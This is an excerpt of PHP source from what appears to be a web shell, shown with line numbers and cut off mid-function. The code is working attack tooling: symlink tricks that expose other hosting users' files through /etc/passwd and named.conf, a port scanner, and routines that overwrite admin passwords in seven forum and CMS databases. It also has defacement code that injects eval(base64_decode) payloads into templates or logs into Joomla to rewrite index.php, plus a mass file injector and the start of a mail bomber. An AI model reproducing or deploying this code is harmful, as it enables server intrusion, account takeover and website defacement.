1475 }
1476
1477 while(1<$as--) chdir("..");
1478
1479 $hardstyle = explode("/", $file);
1480
1481 for($a=0;$a<count($hardstyle);$a++)
1482 {
1483 if(!empty($hardstyle[$a]))
1484 {
1485 if(!file_exists($hardstyle[$a]))
1486 mkdir($hardstyle[$a]);
1487 chdir($hardstyle[$a]);
1488 $as++;
1489 }
1490 }
1491 $as++;
1492 while($as--)
1493 chdir("..");
1494
1495 @rmdir("fakesymlink");
1496 @unlink("fakesymlink");
1497
1498 @symlink(str_repeat($fakedir."/",$fakedep),"fakesymlink");
1499
1500 while(1)
1501 if(true==(@symlink("fakesymlink/".str_repeat("../",$fakedep-1).$file, "symlink".$num))) break;
1502 else $num++;
1503
1504 @unlink("fakesymlink");
1505 mkdir("fakesymlink");
1506
1507 echo '<CENTER>check symlink <a href="./symlink'.$num.'">symlink'.$num.'</a> file</CENTER>';
1508 }
1509 else
1510 echo '<CENTER>Cannot Create Symlink</CENTER>';
1511}
1512else if(isset($_REQUEST['404new']))
1513{
1514 ?>
1515 <form>
1516 <center><textarea name=message cols=100 rows=18 class=box>lol! You just got hacked</textarea></br>
1517 <input type="button" onClick="my404page(message.value)" value=" Save " class=but></center>
1518 </br>
1519 </form>
1520 <?php
1521}
1522else if(isset($_REQUEST['404page']))
1523{
1524 $url = $_SERVER['REQUEST_URI'];
1525 $path=explode('/',$url);
1526 $url =str_replace($path[count($path)-1],'',$url);
1527 if(isset($_POST['message']))
1528 {
1529 if($myfile = fopen(".htaccess", "a"))
1530 {
1531 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1532 if($myfilee = fopen("404.html", "w+"))
1533 {
1534 fwrite($myfilee, $_POST['message']);
1535 }
1536 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1537 }
1538 else
1539 echo "<center>Cannot Set 404 Page</center>";
1540 }
1541 else if(strlen($ind) != 0)
1542 {
1543 if($myfile = fopen(".htaccess", "a"))
1544 {
1545 fwrite($myfile, "ErrorDocument 404 ".$url."404.html \n\r");
1546
1547 if($myfilee = fopen("404.html", "w+"))
1548 {
1549 fwrite($myfilee, base64_decode($ind));
1550
1551 fclose($myfilee);
1552 echo "<center><font class=txt>Done setting 404 Page !!!!</font></center>";
1553 }
1554 fclose($myfile);
1555 }
1556 else
1557 {
1558 echo "<center>Cannot Set 404 Page</center>";
1559 }
1560 }
1561 else
1562 echo "<center>Nothing Specified in the shell</center>";
1563}
1564else if(isset($_GET["domains"]))
1565{
1566 ?><center><iframe src="<?php echo 'http://sameip.org/ip/' . getenv('SERVER_ADDR'); ?>" width="80%" height="1000px"></iframe></center><?php
1567}
1568else if(isset($_GET["symlink"]))
1569{
1570 $d0mains = @file("/etc/named.conf");
1571 $url = 'http://'.$_SERVER['SERVER_NAME'].$_SERVER['REQUEST_URI'];
1572 $path=explode('/',$url);
1573 $url =str_replace($path[count($path)-1],'',$url);
1574 if($d0mains)
1575 {
1576 @mkdir("dhanush",0777);
1577 @chdir("dhanush");
1578 execmd("ln -s / root");
1579 $file3 = 'Options all
1580 DirectoryIndex Sux.html
1581 AddType text/plain .php
1582 AddHandler server-parsed .php
1583 AddType text/plain .html
1584 AddHandler txt .html
1585 Require None
1586 Satisfy Any
1587 ';
1588 $fp3 = fopen('.htaccess','w');
1589 $fw3 = fwrite($fp3,$file3);
1590 @fclose($fp3);
1591 echo "<table align=center border=1 style='width:60%;border-color:#333333;'><tr align =center><td align=center><font size=3 >S. No.</font></td><td align=center><font size=3 >Domains</font></td><td align=center><font size=3 >Users</font></td><td align=center><font size=3 >Symlink</font></td><td align=center><font size=3 >Information</font></td></tr>";
1592
1593 $dcount = 1;
1594 foreach($d0mains as $d0main)
1595 {
1596 if(eregi("zone",$d0main))
1597 {
1598 preg_match_all('#zone "(.*)"#', $d0main, $domains);
1599 flush();
1600
1601 if(strlen(trim($domains[1][0])) > 2)
1602 {
1603 $user = posix_getpwuid(@fileowner("/etc/valiases/".$domains[1][0]));
1604
1605 echo "<tr align=center><td><font class=txt>" . $dcount . "</font></td><td align=left><a href=http://www.".$domains[1][0]."/><font class=txt>".$domains[1][0]."</font></a></td><td><font class=txt>".$user['name']."</font></td><td><a href=".$url."dhanush/root/home/".$user['name']."/public_html target='_blank'><font class=txt>Symlink</font></a></td><td><font class=txt><a href=?info=".$domains[1][0]." target=_blank>info</a></font></td></tr>"; flush();
1606 $dcount++;
1607 }
1608 }
1609
1610 }
1611 echo "</table>";
1612 }
1613 else
1614 {
1615 if(stristr(php_uname(),"Linux"))
1616 {
1617 ?>
1618 <div style="float:left;position:fixed;">
1619 <form>
1620 <table cellpadding="9">
1621 <tr>
1622 <th colspan="2">Get User Name</th>
1623 </tr>
1624 <tr>
1625 <td>Enter Website Name :</td>
1626 <td><input type="text" name="sitename" value="sitename.com" class="sbox"></td>
1627 </tr>
1628 <tr>
1629 <td align="center" colspan="2"><input type="button" onClick="getname(sitename.value)" value=" Get IT " class="but"></td>
1630 </tr>
1631 <tr>
1632 <td colspan=2 align=center><div style="width:250px;" id="showsite"></div></td>
1633 </tr>
1634 </table>
1635 </form>
1636 </div>
1637 <?php
1638 $TEST=@file('/etc/passwd');
1639 if ($TEST)
1640 {
1641 @mkdir("dhanush",0777);
1642 @chdir("dhanush");
1643 execmd("ln -s / root");
1644 $file3 = 'Options all
1645 DirectoryIndex Sux.html
1646 AddType text/plain .php
1647 AddHandler server-parsed .php
1648 AddType text/plain .html
1649 AddHandler txt .html
1650 Require None
1651 Satisfy Any
1652 ';
1653 $fp3 = fopen('.htaccess','w');
1654 $fw3 = fwrite($fp3,$file3);
1655 @fclose($fp3);
1656
1657 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1658
1659 $dcount = 1;
1660 $file = fopen("/etc/passwd", "r");
1661 //Output a line of the file until the end is reached
1662 while(!feof($file))
1663 {
1664 $s = fgets($file);
1665 $matches = array();
1666 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1667 $matches = str_replace("home/","",$matches[1]);
1668 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1669 continue;
1670 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1671 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1672 $dcount++;
1673 }
1674 fclose($file);
1675
1676 echo "</table>";
1677 }
1678 else
1679 {
1680 @mkdir("dhanush",0777);
1681 @chdir("dhanush");
1682 execmd("ln -s / root");
1683 $file3 = 'Options all
1684 DirectoryIndex Sux.html
1685 AddType text/plain .php
1686 AddHandler server-parsed .php
1687 AddType text/plain .html
1688 AddHandler txt .html
1689 Require None
1690 Satisfy Any
1691 ';
1692 $fp3 = fopen('.htaccess','w');
1693 $fw3 = fwrite($fp3,$file3);
1694 @fclose($fp3);
1695
1696 echo "<table align=center border=1 style='width:40%;border-color:#333333;'><tr><td align=center><font size=4 >S. No.</font></td><td align=center><font size=4 >Users</font></td><td align=center><font size=3 >Symlink</font></td></tr>";
1697
1698 $temp = "";
1699 $val1 = 0;
1700 $val2 = 1000;
1701 for(;$val1 <= $val2;$val1++)
1702 {
1703 $uid = @posix_getpwuid($val1);
1704 if ($uid)
1705 $temp .= join(':',$uid)."\n";
1706 }
1707 echo '<br/>';
1708 $temp = trim($temp);
1709
1710 $file5 = fopen("test.txt","w");
1711 fputs($file5,$temp);
1712 fclose($file5);
1713
1714 $dcount = 1;
1715 $file = fopen("test.txt", "r");
1716 while(!feof($file))
1717 {
1718 $s = fgets($file);
1719 $matches = array();
1720 $t = preg_match('/\/(.*?)\:\//s', $s, $matches);
1721 $matches = str_replace("home/","",$matches[1]);
1722 if(strlen($matches) > 12 || strlen($matches) == 0 || $matches == "bin" || $matches == "etc/X11/fs" || $matches == "var/lib/nfs" || $matches == "var/arpwatch" || $matches == "var/gopher" || $matches == "sbin" || $matches == "var/adm" || $matches == "usr/games" || $matches == "var/ftp" || $matches == "etc/ntp" || $matches == "var/www" || $matches == "var/named")
1723 continue;
1724 echo "<tr><td align=center><font size=3 class=txt>" . $dcount . "</td><td align=center><font size=3 class=txt>" . $matches . "</td>";
1725 echo "<td align=center><font size=3 class=txt><a href=".$url."dhanush/root/home/" . $matches . "/public_html target='_blank'>Symlink</a></td></tr>";
1726 $dcount++;
1727 }
1728 fclose($file);
1729 echo "</table>";
1730 unlink("test.txt");
1731 }
1732 }
1733 else
1734 echo "<center><font size=4 >Cannot create Symlink</font></center>";
1735 }
1736}
1737else if(isset($_GET['host']) && isset($_GET['protocol']))
1738{
1739 echo "Open Ports: ";
1740 $host = $_GET['host'];
1741 $proto = $_GET['protocol'];
1742 $myports = array("21","22","23","25","59","80","113","135","445","1025","5000","5900","6660","6661","6662","6663","6665","6666","6667","6668","6669","7000","8080","8018");
1743 for($current = 0; $current <= 23; $current++)
1744 {
1745 $currents = $myports[$current];
1746 $service = getservbyport($currents, $proto);
1747 // Try to connect to port
1748 $result = fsockopen($host, $currents, $errno, $errstr, 1);
1749 // Show results
1750 if($result)
1751 echo "<font class=txt>$currents, </font>";
1752 }
1753}
1754else if(isset($_REQUEST['forumpass']))
1755{
1756 $localhost = $_GET['f1'];
1757 $database = $_GET['f2'];
1758 $username = $_GET['f3'];
1759 $password = $_GET['f4'];
1760 $prefix = $_GET['prefix'];
1761 $newpass = $_GET['newpass'];
1762 $uid = $_GET['uid'];
1763
1764 if($_GET['forums'] == "vb")
1765 {
1766 $newpass = $_GET['newipbpass'];
1767 $uid = $_GET['ipbuid'];
1768 $con = mysql_connect($localhost,$username,$password);
1769 $db = mysql_select_db($database,$con);
1770 $salt = "eghjghrtd";
1771 $newpassword = md5(md5($newpass) . $salt);
1772 if($prefix == "" || $prefix == null)
1773 $sql = mysql_query("update user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1774 else
1775 $sql = mysql_query("update ".$prefix."user set password = '$newpassword', salt = '$salt' where userid = '$uid'");
1776 if($sql)
1777 {
1778 mysql_close($con);
1779 echo "<font class=txt>Password Changed Successfully</font>";
1780 }
1781 else
1782 echo "Cannot Change Password";
1783 }
1784 else if($_GET['forums'] == "mybb")
1785 {
1786 $newpass = $_GET['newipbpass'];
1787 $uid = $_GET['ipbuid'];
1788 $con = mysql_connect($localhost,$username,$password);
1789 $db = mysql_select_db($database,$con);
1790 $salt = "jeghj";
1791 $newpassword = md5(md5($salt).md5($newpass));
1792 if($prefix == "" || $prefix == null)
1793 $sql = mysql_query("update mybb_users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1794 else
1795 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', salt = '$salt' where uid = '$uid'");
1796 if($sql)
1797 {
1798 mysql_close($con);
1799 echo "<font class=txt>Password Changed Successfully</font>";
1800 }
1801 else
1802 echo "Cannot Change Password";
1803 }
1804 else if($_GET['forums'] == "smf")
1805 {
1806 $newpass = $_GET['newipbpass'];
1807 $uid = $_GET['ipbuid'];
1808 $con = mysql_connect($localhost,$username,$password);
1809 $db = mysql_select_db($database,$con);
1810
1811 if($prefix == "" || $prefix == null)
1812 {
1813 $result = mysql_query("select member_name from smf_members where id_member = $uid");
1814 $row = mysql_fetch_array($result);
1815 $membername = $row['member_name'];
1816 $newpassword = sha1(strtolower($membername).$newpass);
1817 $sql = mysql_query("update smf_members set passwd = '$newpassword' where id_member = '$uid'");
1818 }
1819 else
1820
1821 {
1822 $result = mysql_query("select member_name from ".$prefix."members where id_member = $uid");
1823 $row = mysql_fetch_array($result);
1824 $membername = $row['member_name'];
1825 $newpassword = sha1(strtolower($membername).$newpass);
1826 $sql = mysql_query("update ".$prefix."members set passwd = '$newpassword' where id_member = '$uid'");
1827 }
1828 if($sql)
1829 {
1830 mysql_close($con);
1831 echo "<font class=txt>Password Changed Successfully</font>";
1832 }
1833 else
1834 echo "Cannot Change Password";
1835 }
1836 else if($_GET['forums'] == "phpbb")
1837 {
1838 $newpass = $_POST['newipbpass'];
1839 $uid = $_POST['ipbuid'];
1840 $con = mysql_connect($localhost,$username,$password);
1841 $db = mysql_select_db($database,$con);
1842
1843 $newpassword = md5($newpass);
1844 if(empty($prefix) || $prefix == null)
1845 $sql = mysql_query("update phpb_users set user_password = '$newpassword' where user_id = '$uid'");
1846 else
1847 $sql = mysql_query("update ".$prefix."users set user_password = '$newpassword' where user_id = '$uid'");
1848 if($sql)
1849 {
1850 mysql_close($con);
1851 echo "<font class=txt>Password Changed Successfully</font>";
1852 }
1853 else
1854 echo "Cannot Change Password";
1855 }
1856 else if($_GET['forums'] == "ipb")
1857 {
1858 $newpass = $_POST['newipbpass'];
1859 $uid = $_POST['ipbuid'];
1860 $con = mysql_connect($localhost,$username,$password);
1861 $db = mysql_select_db($database,$con);
1862 $salt = "eghj";
1863 $newpassword = md5(md5($salt).md5($newpass));
1864 if($prefix == "" || $prefix == null)
1865 $sql = mysql_query("update members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1866 else
1867 $sql = mysql_query("update ".$prefix."members set members_pass_hash = '$newpassword', members_pass_salt = '$salt' where member_id = '$uid'");
1868 if($sql)
1869 {
1870 mysql_close($con);
1871 echo "<font class=txt>Password Changed Successfully</font>";
1872 }
1873 else
1874 echo "Cannot Change Password";
1875 }
1876 else if($_GET['forums'] == "wp")
1877 {
1878 $uname = $_GET['uname'];
1879 $con = mysql_connect($localhost,$username,$password);
1880 $db = mysql_select_db($database,$con);
1881
1882 $newpassword = md5($newpass);
1883 if($prefix == "" || $prefix == null)
1884 $sql = mysql_query("update wp_users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1885 else
1886 $sql = mysql_query("update ".$prefix."users set user_pass = '$newpassword', user_login = '$uname' where ID = '$uid'");
1887 if($sql)
1888 {
1889 mysql_close($con);
1890 echo "<font class=txt>Password Changed Successfully</font>";
1891 }
1892 else
1893 echo "Cannot Change Password";
1894 }
1895 else if($_GET['forums'] == "joomla")
1896 {
1897 $newjoomlapass = $_GET['newjoomlapass'];
1898 $joomlauname = $_GET['username'];
1899 $con = mysql_connect($localhost,$username,$password);
1900 $db = mysql_select_db($database,$con);
1901
1902 $newpassword = md5($newjoomlapass);
1903 if($prefix == "" || $prefix == null)
1904 $sql = mysql_query("update jos_users set password = '$newpassword', username = '$joomlauname' where name = 'Super User'");
1905 else
1906 $sql = mysql_query("update ".$prefix."users set password = '$newpassword', username = '$joomlauname' where name = 'Super User' OR name = 'Administrator'");
1907 if($sql)
1908 {
1909 mysql_close($con);
1910 echo "<font class=txt>Password Changed Successfully</font>";
1911 }
1912 else
1913 echo "Cannot Change Password";
1914 }
1915}
1916else if(isset($_POST['forumdeface']))
1917{
1918 $localhost = $_POST['f1'];
1919 $database = $_POST['f2'];
1920 $username = $_POST['f3'];
1921 $password = $_POST['f4'];
1922 $index = $_POST['index'];
1923 $prefix = $_POST['tableprefix'];
1924
1925 if($_POST['forumdeface'] == "vb")
1926 {
1927 $con =@ mysql_connect($localhost,$username,$password);
1928 $db =@ mysql_select_db($database,$con);
1929 $index=str_replace('"','\\"',$index);
1930 $attack = "{\${eval(base64_decode(\'";
1931 $attack .= base64_encode("echo \"$index\";");
1932 $attack .= "\'))}}{\${exit()}}</textarea>";
1933 if($prefix == "" || $prefix == null)
1934 $query = "UPDATE template SET template = '$attack'";
1935 else
1936 $query = "UPDATE ".$prefix."template SET template = '$attack'";
1937 $result =@ mysql_query($query,$con);
1938 if($result)
1939 echo "<center><font class=txt size=4><blink>Vbulletin Forum Defaced Successfully</blink></font></center>";
1940 else
1941 echo "<center><font size=4><blink>Cannot Deface Vbulletin Forum</blink></font></center>";
1942 }
1943 else if($_POST['forumdeface'] == "mybb")
1944 {
1945 $con =@ mysql_connect($localhost,$username,$password);
1946 $db =@ mysql_select_db($database,$con);
1947 $attack = "{\${eval(base64_decode(\'";
1948 $attack .= base64_encode("echo \"$index\";");
1949 $attack .= "\'))}}{\${exit()}}</textarea>";
1950 $attack = str_replace('"',"\\'",$attack);
1951
1952 if($prefix == "" || $prefix == null)
1953 $query = "UPDATE mybb_templates SET template = '$attack'";
1954 else
1955 $query = "UPDATE ".$prefix."templates SET template = '$attack'";
1956 $result =@ mysql_query($query,$con);
1957 if($result)
1958 echo "<center><font class=txt size=4><blink>Mybb Forum Defaced Successfully</blink></font></center>";
1959 else
1960 echo "<center><font size=4><blink>Cannot Deface Mybb Forum</blink></font></center>";
1961 }
1962 else if($_POST['forumdeface'] == "smf")
1963 {
1964 $head = $_POST['head'];
1965 $catid = $_POST['f5'];
1966
1967 $con =@ mysql_connect($localhost,$username,$password);
1968 $db =@ mysql_select_db($database,$con);
1969 if($prefix == "" || $prefix == null)
1970 $query = "UPDATE boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1971 else
1972 $query = "UPDATE ".$prefix."boards SET name='$head', description='$index' WHERE id_cat='$catid'";
1973 $result =@ mysql_query($query,$con);
1974 if($result)
1975 echo "<center><font class=txt size=4><blink>SMF Forum Index Changed Successfully</blink></font></center>";
1976 else
1977 echo "<center><font size=4><blink>Cannot Deface SMF Forum</blink></font></center>";
1978 }
1979 else if($_POST['forumdeface'] == "ipb")
1980 {
1981 $head = $_POST['head'];
1982 $catid = $_POST['f5'];
1983
1984 $IPB = "forums";
1985 $con =@ mysql_connect($localhost,$username,$password);
1986 $db =@ mysql_select_db($database,$con);
1987 if($prefix == "" || $prefix == null)
1988 $result =@mysql_query($query = "UPDATE $IPB SET name = '$head', description = '$index' where id = '$catid'");
1989 else
1990 $result =@mysql_query($query = "UPDATE $prefix.$IPB SET name = '$head', description = '$index' where id = '$catid'");
1991 if($result)
1992 echo "<center><font class=txt size=4><blink>Forum Defaced Successfully</blink></font></center>";
1993 else
1994 echo "<center><font size=4><blink>Cannot Deface Forum</blink></font></center>";
1995 }
1996 else if($_POST['forumdeface'] == "wp")
1997 {
1998 $catid = $_POST['f5'];
1999 $head = $_POST['head'];
2000
2001 $con =@ mysql_connect($localhost,$username,$password);
2002 $db =@ mysql_select_db($database,$con);
2003 if($prefix == "" || $prefix == null)
2004 {
2005 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2006 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index'";
2007 else
2008 $query = "UPDATE wp_posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2009 }
2010 else
2011 {
2012 if(isset($_POST["alll"]) && $_POST["alll"] == "All")
2013 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index'";
2014 else
2015 $query = "UPDATE ".$prefix."posts SET post_title='$head', post_content='$index' WHERE ID='$catid'";
2016
2017 }
2018 $result =@mysql_query($query,$con) or mysql_error();
2019 if($result)
2020 echo "<center><font class=txt size=4><blink>Wordpress Defaced Successfully</blink></font></center>";
2021 else
2022 echo "<center><font size=4><blink>Cannot Deface Wordpress</blink></font></center>";
2023 }
2024 else if($_POST['forumdeface'] == "joomla")
2025 {
2026 $site_url = $_POST['siteurl'];
2027 $dbprefix = $_POST['tableprefix'];
2028 $dbname = $_POST['f2'];
2029 $h="<? echo(stripslashes(base64_decode('".urlencode(base64_encode(str_replace("'","'",($_POST['index']))))."'))); exit; ?>";
2030
2031 function randomt()
2032 {
2033 $chars = "abcdefghijkmnopqrstuvwxyz023456789";
2034 srand((double)microtime()*1000000);
2035 $i = 0;
2036 $pass = '' ;
2037
2038 while ($i <= 7)
2039 {
2040 $num = rand() % 33;
2041 $tmp = substr($chars, $num, 1);
2042 $pass = $pass . $tmp;
2043 $i++;
2044 }
2045
2046 return $pass;
2047 }
2048 function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1)
2049 {
2050 $ar0=explode($marqueurDebutLien, $text);
2051 $ar1=explode($marqueurFinLien, $ar0[$i]);
2052 $ar=trim($ar1[0]);
2053 return $ar;
2054 }
2055 $co=randomt();
2056
2057 $link=mysql_connect($localhost,$username,$password) ;
2058 mysql_select_db($dbname,$link);
2059
2060 $tryChaningInfo = mysql_query("UPDATE ".$dbprefix."users SET username ='admin' , password = '2a9336f7666f9f474b7a8f67b48de527:DiWqRBR1thTQa2SvBsDqsUENrKOmZtAX'");
2061
2062 $req =mysql_query("SELECT * from `".$dbprefix."extensions` ");
2063
2064 if ( $req )
2065 {
2066 $req =mysql_query("SELECT * from `".$dbprefix."template_styles` WHERE client_id='0' and home='1'");
2067 $data = mysql_fetch_array($req);
2068 $template_name=$data["template"];
2069
2070 $req =mysql_query("SELECT * from `".$dbprefix."extensions` WHERE name='".$template_name."'");
2071 $data = mysql_fetch_array($req);
2072 $template_id=$data["extension_id"];
2073
2074 $url2=$site_url."/index.php";
2075
2076 $ch = curl_init();
2077 curl_setopt($ch, CURLOPT_URL, $url2);
2078 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2079 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2080 curl_setopt($ch, CURLOPT_HEADER, 1);
2081 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2082 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2083 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2084
2085
2086 $buffer = curl_exec($ch);
2087
2088 $return=entre2v2($buffer ,'<input type="hidden" name="return" value="','"');
2089 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',4);
2090
2091
2092 $url2=$site_url."/index.php";
2093 $ch = curl_init();
2094 curl_setopt($ch, CURLOPT_URL, $url2);
2095 curl_setopt($ch, CURLOPT_POST, 1);
2096 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&return=".$return."&".$hidden."=1");
2097 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2098 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2099 curl_setopt($ch, CURLOPT_HEADER, 0);
2100 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2101 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2102 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2103 $buffer = curl_exec($ch);
2104
2105 $pos = strpos($buffer,"com_config");
2106 if($pos === false)
2107 {
2108 echo("<br>[-] Login Error");
2109 exit;
2110 }
2111
2112 $url2=$site_url."/index.php?option=com_templates&task=source.edit&id=".base64_encode($template_id.":index.php");
2113 $ch = curl_init();
2114 curl_setopt($ch, CURLOPT_URL, $url2);
2115 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2116 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2117 curl_setopt($ch, CURLOPT_HEADER, 0);
2118 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2119 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2120
2121 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2122 $buffer = curl_exec($ch);
2123
2124 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',2);
2125 if(!$hidden2)
2126 {
2127 echo("<br>[-] index.php Not found in Theme Editor");
2128 exit;
2129 }
2130
2131 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2132
2133 $ch = curl_init();
2134 curl_setopt($ch, CURLOPT_URL, $url2);
2135 curl_setopt($ch, CURLOPT_POST, 1);
2136 curl_setopt($ch, CURLOPT_POSTFIELDS,"jform[source]=".$h."&jform[filename]=index.php&jform[extension_id]=".$template_id."&".$hidden2."=1&task=source.save");
2137
2138 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2139 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2140 curl_setopt($ch, CURLOPT_HEADER, 0);
2141 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2142 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2143 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2144 $buffer = curl_exec($ch);
2145
2146 $pos = strpos($buffer,'<dd class="message message">');
2147 if($pos === false)
2148 {
2149 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2150 }
2151 else
2152 {
2153 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2154 }
2155 }
2156 else
2157 {
2158 $req =mysql_query("SELECT * from `".$dbprefix."templates_menu` WHERE client_id='0'");
2159 $data = mysql_fetch_array($req);
2160 $template_name=$data["template"];
2161
2162 $url2=$site_url."/index.php";
2163 $ch = curl_init();
2164 curl_setopt($ch, CURLOPT_URL, $url2);
2165 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2166 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2167 curl_setopt($ch, CURLOPT_HEADER, 1);
2168 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2169 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2170 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2171 $buffer = curl_exec($ch);
2172
2173 $hidden=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',3);
2174
2175 $url2=$site_url."/index.php";
2176 $ch = curl_init();
2177 curl_setopt($ch, CURLOPT_URL, $url2);
2178 curl_setopt($ch, CURLOPT_POST, 1);
2179 curl_setopt($ch, CURLOPT_POSTFIELDS,"username=admin&passwd=123456789&option=com_login&task=login&".$hidden."=1");
2180 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2181 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2182 curl_setopt($ch, CURLOPT_HEADER, 0);
2183 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2184 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2185 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2186 $buffer = curl_exec($ch);
2187
2188 $pos = strpos($buffer,"com_config");
2189
2190 if($pos === false)
2191 {
2192 echo("<br>[-] Login Error");
2193 exit;
2194 }
2195
2196 $url2=$site_url."/index.php?option=com_templates&task=edit_source&client=0&id=".$template_name;
2197 $ch = curl_init();
2198 curl_setopt($ch, CURLOPT_URL, $url2);
2199 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2200 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2201 curl_setopt($ch, CURLOPT_HEADER, 0);
2202 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2203 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2204 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2205 $buffer = curl_exec($ch);
2206
2207 $hidden2=entre2v2($buffer ,'<input type="hidden" name="','" value="1"',6);
2208
2209 if(!$hidden2)
2210 {
2211 echo("<br>[-] index.php Not found in Theme Editor");
2212 }
2213
2214 $url2=$site_url."/index.php?option=com_templates&layout=edit";
2215 $ch = curl_init();
2216 curl_setopt($ch, CURLOPT_URL, $url2);
2217 curl_setopt($ch, CURLOPT_POST, 1);
2218 curl_setopt($ch, CURLOPT_POSTFIELDS,"filecontent=".$h."&id=".$template_name."&cid[]=".$template_name."&".$hidden2."=1&task=save_source&client=0");
2219 curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
2220 curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
2221 curl_setopt($ch, CURLOPT_HEADER, 0);
2222 curl_setopt($ch, CURLOPT_USERAGENT, $useragent);
2223 curl_setopt($ch, CURLOPT_COOKIEJAR, $co);
2224 curl_setopt($ch, CURLOPT_COOKIEFILE, $co);
2225 $buffer = curl_exec($ch);
2226
2227 $pos = strpos($buffer,'<dd class="message message fade">');
2228 if($pos === false)
2229 {
2230 echo("<center><font size=4><blink>Cannot Deface Joomla</blink></font></center>");
2231 exit;
2232 }
2233 else
2234 {
2235 echo("<center><font class=txt size=4><blink>Joomla Defaced Successfully</blink></font></center>");
2236 }
2237 }
2238 }
2239}
2240else if(isset($_POST['pathtomass']) && $_POST['pathtomass'] != '' && isset($_POST['filetype']) && $_POST['filetype'] != '' && isset($_POST['mode']) && $_POST['mode'] != '' && isset($_POST['injectthis']) && $_POST['injectthis'] != '')
2241{
2242 $filetype = $_POST['filetype'];
2243
2244 $mode = "a";
2245
2246 if($_POST['mode'] == 'Apender')
2247 $mode = "a";
2248
2249 if($_POST['mode'] == 'Overwriter')
2250 $mode = "w";
2251
2252 if (is_dir($_POST['pathtomass']))
2253 {
2254 $lolinject = $_POST['injectthis'];
2255 $mypath = $_POST['pathtomass'] .$directorysperator. "*.".$filetype;
2256 if(substr($_POST['pathtomass'], -1) == "\\")
2257 $mypath = $_POST['pathtomass'] . "*.".$filetype;
2258 foreach (glob($mypath) as $injectj00)
2259 {
2260 if($injectj00 == __FILE__)
2261 continue;
2262 $fp=fopen($injectj00,$mode);
2263 if (fputs($fp,$lolinject))
2264 echo '<br><font class=txt size=3>'.$injectj00.' was injected<br></font>';
2265 else
2266 echo 'failed to inject '.$injectj00.'<br>';
2267 }
2268 }
2269 else
2270 echo '<b>'.$_POST['pathtomass'].' is not available!</b>';
2271}
2272else if(isset($_POST['mailfunction']))
2273{
2274 if($_POST['mailfunction'] == "dobombing")
2275 {
2276 if(isset($_POST['to']) && isset($_POST['subject']) && isset($_POST['message']) && isset($_POST['times']) && $_POST['to'] != '' && $_POST['subject'] != '' && $_POST['message'] != '' && $_POST['times'] != '')
2277 {
2278 $times = $_POST['times'];
2279 while($times--)
2280 {
